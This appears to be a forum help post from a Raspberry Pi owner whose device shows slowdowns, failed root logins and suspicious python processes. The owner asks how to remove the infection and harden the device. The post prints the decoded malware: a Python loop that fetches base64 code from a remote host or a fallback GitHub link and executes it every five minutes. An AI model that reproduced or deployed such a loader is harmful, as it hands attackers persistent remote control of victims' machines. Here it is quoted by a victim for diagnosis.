Recently I'd noticed that my pi had been running slower than usual, and some processes had been killed with the following message in /var/log/syslog: "Out of memory: Kill process score or sacrifice child"
The /var/log/auth.log had numerous failed remote root login attempts, so I've installed fail2ban to (hopefully) fix this, and I've moved from password to shared key logins
Lastly, when I listed the running processes with this command "ps -eo pmem,pcpu,vsize,pid,cmd | sort -k 1 -nr | head -10" there was a load of these python processes running (apologies for the slightly incorrect syntax, I killed the processes and can't find the original)
python -C "import base64,sys; base64.decode('<base64 encoded string>')"
I've decoded the string at https://www.base64decode.org/ to this
#coding: utf-8 import urllib import urllib2 import os import base64 import time while True: d= 'http://<ip address>:443' g='https://<github user content raw file link>' try: page=base64.b64decode(urllib2.urlopen(d+'/api?type=gc').read()) exec(page) except: try: d=urllib2.urlopen(g).read().strip() page=base64.b64decode(urllib2.urlopen(d+'/api?type=gc').read()) exec(page) except: pass time.sleep(300)
Note - the ip address I've removed was not the ip of the machine itself, or the ip of the attempted root logins
What do I need to do to stop this process from being triggered again when I restart? Is there anything else I should do to secure my pi?